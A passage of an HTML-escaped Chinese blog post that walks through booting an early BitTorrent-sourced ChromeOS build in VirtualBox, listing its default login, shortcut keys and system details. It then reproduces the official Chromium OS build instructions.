chrome-os-0.4.22.8-gdgt.vmdk.zip&amp;nbsp;&lt;/div&gt;&lt;div&gt;$ qemu-img convert chrome-os-0.4.22.8-gdgt.vmdk chrome-os-0.4.22.8-gdgt.bin&lt;/div&gt;&lt;div&gt;$ VBoxManage convertdd chrome-os-0.4.22.8-gdgt.bin chrome-os-0.4.22.8-gdgt.vdi&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;没什么实际意思&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025798" alt="screenshot6.png" src="http://img2.pict.com/70/6c/c2/2025798/0/screenshot6.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="fum8" alt="screenshot7.png" src="http://img2.pict.com/eb/b0/19/2025799/0/screenshot7.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;配置一下网络&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025800" alt="screenshot8.png" src="http://img2.pict.com/d1/fb/8a/2025800/0/screenshot8.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;启动后的界面&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025802" alt="screenshot9.png" src="http://img2.pict.com/15/6c/ec/2025802/0/800/screenshot9.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&amp;nbsp;注意 &amp;nbsp;: &amp;nbsp;username : mark&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;password : &amp;nbsp; chromeos&lt;/div&gt;&lt;div&gt;这是google 内部员工的帐号 &amp;nbsp;.&lt;/div&gt;&lt;div&gt;&lt;div&gt;本来是可以用 Google Account ID &amp;nbsp;，比如 gmail &amp;nbsp;帐号 To login.But 我试了很多次，都登录不进去 .&lt;/div&gt;&lt;div&gt;还有 this build of ChromeOS came from bittorrent &amp;nbsp; &amp;nbsp;，注意一下 木马之类的，或者应该重新申请一个&lt;/div&gt;&lt;div&gt;Google Account ID ，比较安全.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h2&gt;3.一些测试&lt;/h2&gt;&lt;div&gt;&lt;img class="big" id="image_2025803" alt="screenshot10.png" src="http://img2.pict.com/58/82/d9/2025803/0/screenshot10.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025805" alt="screenshot11.png" src="http://img2.pict.com/ff/fd/ef/2025805/0/800/screenshot11.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;进入控制台 &amp;nbsp;Ctrl + alt + T &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025806" alt="screenshot12.png" src="http://img2.pict.com/b8/cc/df/2025806/0/800/screenshot12.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Arial;"&gt;&lt;h2&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;Shortcut Keys&lt;/font&gt;&lt;/font&gt;&lt;/h2&gt;&lt;div style="direction: inherit;"&gt;&lt;font size="2"&gt;To get a visual overlay of shortcut keys available,&amp;nbsp;&lt;/font&gt;&lt;b&gt;&lt;font size="2"&gt;hit F8&lt;/font&gt;&lt;/b&gt;&lt;font size="2"&gt;&amp;nbsp;and any of the modifier keys like CTRL, ALT, SHIFT to find all the associated hotkeys&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;br&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;table style="margin-left: 0px; margin-right: 0px;" border="1" bordercolor="#888888" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; text-align: center; vertical-align: top; width: 151px;"&gt;&lt;font size="3"&gt;&amp;nbsp;&lt;b&gt;&lt;font size="2"&gt;Action&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; text-align: center; vertical-align: top; width: 118px;"&gt;&lt;font size="3"&gt;&amp;nbsp;&lt;b&gt;&lt;font size="2"&gt;When&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; text-align: center; vertical-align: top; width: 523px;"&gt;&lt;font size="3"&gt;&amp;nbsp;&lt;b&gt;&lt;font size="2"&gt;Feature&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;F12&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Toggle Window Overview&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="3"&gt;&amp;nbsp;F8&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="3"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="3"&gt;&amp;nbsp;Toggle keyboard overlay showing all the shortcut keys&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;ESC&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Window Overview&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Exit Window Overview&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;F2&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Boot&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Startup options - disable internal HDD to boot from USB stick&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + Alt + T&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Open Terminal Window&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + Alt + N&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Chrome&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Open New Chrome Window&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Ctrl + Alt + L&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Lock the screen&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Ctrl + Alt + M&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="3"&gt;&amp;nbsp;Enable external monitor&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + ,&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Chrome&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Goto battery and network settings page (localhost:8080)&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + Tab&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Chrome&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Next Tab&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + Shift + Tab&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Chrome&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Prior Tab&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Ctrl + 1 through Ctrl + 8&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Chrome&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font style="background-color: rgb(255, 255, 255);"&gt;&lt;font size="2"&gt;&amp;nbsp;Switches to the tab at the specified position number on the tab strip&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Alt + Tab&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Next Window&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="height: 14px; vertical-align: top; width: 151px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Alt + Shift + Tab&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 118px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="height: 14px; vertical-align: top; width: 523px;"&gt;&lt;font size="2"&gt;&amp;nbsp;Prior Window&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Close Lid&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Sleep mode&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Power-Key&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Running&lt;/font&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;font size="2"&gt;&amp;nbsp;Shutdown&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;System information&lt;/h2&gt;&lt;div&gt;Here's the output of dpkg -l&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img class="big" id="image_2025807" alt="screenshot13.png" src="http://img2.pict.com/a0/61/ae/2025807/0/800/screenshot13.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h3&gt;uname -a&lt;/h3&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2026081" alt="screenshot14.png" src="http://img2.pict.com/3d/20/5c/2026081/0/800/screenshot14.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h3&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/h3&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025809" alt="screenshot15.png" src="http://img2.pict.com/35/db/42/2025809/0/800/screenshot15.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;接下来就是 对于shut-down button &amp;nbsp;,没有找到，只好用VirtualBox 的外部开关关掉，&lt;/div&gt;&lt;div&gt;时间 测试&lt;/div&gt;&lt;div&gt;开机差不多 10s &amp;nbsp;，&lt;/div&gt;&lt;div&gt;关机差不多 4s&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;root 的password &amp;nbsp;:chromeos&lt;/div&gt;&lt;div&gt;the root filesystem is read-only. Seeing as /var/lib/dpkg/lock is set&lt;br /&gt;(and isn't writable) you can't use dpkg to install anything.&lt;/div&gt;&lt;div&gt;&amp;nbsp;However,&lt;br /&gt;because we have super-user privileges, we can simply remount the root&lt;br /&gt;filesystem to be writable.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font class="Apple-style-span" color="#FF9900"&gt;#sudo mount -o remount,rw /&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;4.Building &amp;nbsp;Chromium OS&lt;/h2&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Prerequisites&lt;/h2&gt;You need to have Linux. We currently support the following:&lt;ul&gt;&lt;li&gt;Ubuntu (Hardy 8.04 or newer, Karmic 9.10 recommended)&lt;/li&gt;&lt;li&gt;An account with root access (needed to run chroot and modify the mount table)&lt;/li&gt;&lt;li&gt;&lt;a href="https://daili.bz/browse.php?u=Oi8vY29kZS5nb29nbGUuY29tL3AvY2hyb21pdW0vd2lraS9MaW51eEJ1aWxkSW5zdHJ1Y3Rpb25zUHJlcmVxdWlzaXRlcw%3D%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;Chromium prerequisites&lt;/a&gt;&amp;nbsp;(needed to build a Chromium-based browser as part of building Chromium OS)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;&lt;a name="TOC-Get-the-source" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Get the source&lt;/h2&gt;&lt;div&gt;At this stage, you will need to get the Chromium OS source code. Follow the instructions in&amp;nbsp;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvYnVpbGRpbmctY2hyb21pdW0tb3MvZ2V0dGluZy10aGUtY2hyb21pdW0tb3Mtc291cmNlLWNvZGU%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;Getting the Chromium OS Source Code&lt;/a&gt;. &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div id="wikiheader"&gt;&lt;b&gt;&lt;font size="3"&gt;&lt;div id="title-crumbs"&gt;&lt;br&gt;&lt;/div&gt;&lt;h3 id="sites-page-title-header" align="left" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;b&gt;&lt;font size="5"&gt;&lt;span id="sites-page-title" dir="ltr"&gt;Build Instructions&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;div id="sites-canvas-main" class="sites-canvas-main" style="background-color: rgb(255, 255, 255); background-image: none !important"&gt;&lt;div id="sites-canvas-main-content"&gt;&lt;table cellspacing="0" class="sites-layout-name-one-column sites-layout-hbox zeroBorder" style="width: 1101px; margin-right: 0px; margin-left: 0px"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="sites-layout-tile sites-tile-name-content-1" style="vertical-align: top"&gt;&lt;div dir="ltr"&gt;&lt;font class="Apple-style-span" face="Arial, Verdana, sans-serif"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;p&gt;This page covers building a Chromium-based OS. It assumes you have already&amp;nbsp;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvYnVpbGRpbmctY2hyb21pdW0tb3MvZ2V0dGluZy10aGUtY2hyb21pdW0tb3Mtc291cmNlLWNvZGU%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;downloaded the source&lt;/a&gt;&amp;nbsp;for the OS (and optionally for the browser).&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note&lt;/b&gt;: When you produce a Chromium OS image, you need to fulfill the various attribution requirements of the third party licenses. Currently, the images generated by a build don't automatically do this for you. You'll need to modify&lt;a href="https://daili.bz/browse.php?u=Oi8vc3JjLmNocm9taXVtLm9yZy9zdm4vdHJ1bmsvc3JjL2Nocm9tZS9icm93c2VyL3Jlc291cmNlcy9hYm91dF9vc19jcmVkaXRzLmh0bWw%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;~/chromium/src/chrome/browser/resources/about_os_credits.html&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;&lt;a name="TOC-Setting-up-your-build-environment" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Setting up your build environment&lt;/h2&gt;&lt;div&gt;&lt;h3&gt;&lt;a name="TOC-Set-up-symlinks-optional-" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Set up symlinks (optional)&lt;/h3&gt;&lt;p&gt;The rest of this document assumes you have created symlinks in your home directory for the OS and browser (only for the latter if you download the source). You can set these up with (note these directories depend on where you set up your repository or if you downloaded the tarball, where you unzipped it):&lt;/p&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;ln -s /usr/local/chromiumos/&lt;/font&gt;&lt;span style="color: rgb(0, 0, 0); font-family: arial, sans-serif"&gt;&lt;font face="Courier New"&gt;chromiumos.git&lt;/font&gt;&lt;/span&gt;&lt;font face="Courier New"&gt;&amp;nbsp;~/chromiumos&lt;/font&gt;&lt;br&gt;&lt;font face="Courier New"&gt;ln -s /usr/local/chromium/trunk ~/chromium&lt;/font&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;You don't have to create the symlinks, but it makes paths much easier to reference. Once the symlinks exists, you should see&amp;nbsp;&lt;font face="Courier New"&gt;src&lt;/font&gt;&amp;nbsp;in each directory — for example,&amp;nbsp;&lt;font face="Courier New"&gt;~/chromiumos/src&lt;/font&gt;&amp;nbsp;and&amp;nbsp;&lt;font face="Courier New"&gt;~/chromium/src&lt;/font&gt;&amp;nbsp;should exist.&amp;nbsp;&lt;p&gt;&lt;/p&gt;&lt;br&gt;&lt;h3&gt;&lt;a name="TOC-Make-your-local-repository" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Make your local repository&lt;/h3&gt;&lt;div&gt;&lt;div&gt;All the necessary scripts to build a Chromium OS image are located in ~/chromiumos/src/scripts. &amp;nbsp;The rest of these instructions assume you have changed your directory to that directory:&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: monospace; color: rgb(0, 96, 0)"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;font color="#006000" face="monospace"&gt;&lt;span style="color: rgb(0, 0, 0); font-family: 'trebuchet ms'"&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font color="#006000" face="monospace"&gt;cd ~/chromiumos/src/scripts&lt;/font&gt;&lt;/div&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;To get a reproducible build, we check in an exact list of packages to be used for the chroot build environment and image. To make sure debootstrap and apt-get install only those packages, run the following command to construct a local repository in&amp;nbsp;&lt;font face="Courier New"&gt;~/chromiumos/repo&lt;/font&gt;:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./make_local_repo.sh&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Note:&amp;nbsp;&lt;/b&gt;To modify the contents of that local repository, or create a chroot / image with a different set of packages, see&amp;nbsp;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvaG93LXRvcy1hbmQtdHJvdWJsZXNob290aW5nL2FkZC1hLW5ldy1wYWNrYWdlL3BhY2thZ2UtbWFuYWdlbWVudA%3D%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;&lt;font color="#073763"&gt;Chromium OS Package Management&lt;/font&gt;&lt;/a&gt;&lt;font color="#073763"&gt;.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;If you're running an older Linux release, your version of debootstrap may not be able to install the newer Karmic version of Ubuntu that we use to build Chromium OS. If making the local repository or the chroot fails, here's a workaround that installs the Karmic version:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;# Create a karmic.list which pulls from chromeos-deb&lt;br&gt;cat &amp;gt;karmic.list &amp;lt;&amp;lt;EOF&lt;font color="#274e13"&gt;&lt;br&gt;&lt;/font&gt;&lt;font color="#274e13"&gt;deb http://build.chromium.org/buildbot/packages chromeos_dev main restricted&lt;br&gt;deb-src http://build.chromium.org/buildbot/packages chromeos_dev main restricted&lt;/font&gt;&lt;br&gt;EOF&lt;br&gt;&lt;br&gt;&lt;br&gt;# Install karmic debootstrap&lt;br&gt;sudo mv karmic.list /etc/apt/sources.list.d/karmic.list&lt;br&gt;sudo apt-get update&lt;br&gt;sudo apt-get install -y --force-yes debootstrap&lt;br&gt;&lt;br&gt;&lt;br&gt;# Remove temporary sources.list entry, so you don't upgrade anything else&lt;br&gt;sudo rm /etc/apt/sources.list.d/karmic.list&lt;br&gt;sudo apt-get update&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;If you're still having trouble, try this instead:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font color="#006000" face="monospace"&gt;sudo ln -s /usr/share/debootstrap/scripts/gutsy /usr/share/debootstrap/scripts/karmic&lt;/font&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Create-your-build-environment" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Create your build environment&lt;/h3&gt;Chromium OS builds only in a chroot environment, so that its build output is less dependent on the particular flavor of Linux you have installed (Hardy or Jaunty, for example). Do the following to set up a chroot environment:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./make_chroot.sh&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Note:&amp;nbsp;&lt;/b&gt;By default, the setup script configures /etc/apt/sources.list to pull from the local repository you created in the previous step. If you're pushing the boundaries of development (for example, attempting to compile for a different processor), you may need to get the most recent packages from the repository. In that case, run the following:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./make_chroot.sh --mirror=h&lt;span style="color: rgb(39, 78, 19)"&gt;ttp://build.chromium.org/buildbot/packages&lt;span style="color: rgb(204, 0, 0)"&gt;&amp;nbsp;&lt;font color="#274e13"&gt;--suite=&lt;/font&gt;&lt;span style="color: rgb(39, 78, 19)"&gt;chromeos_dev&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;p&gt;That command pulls packages from the Chromium repository. Note that this is slower than a local repository. Also note you can use any of the&amp;nbsp;&lt;a 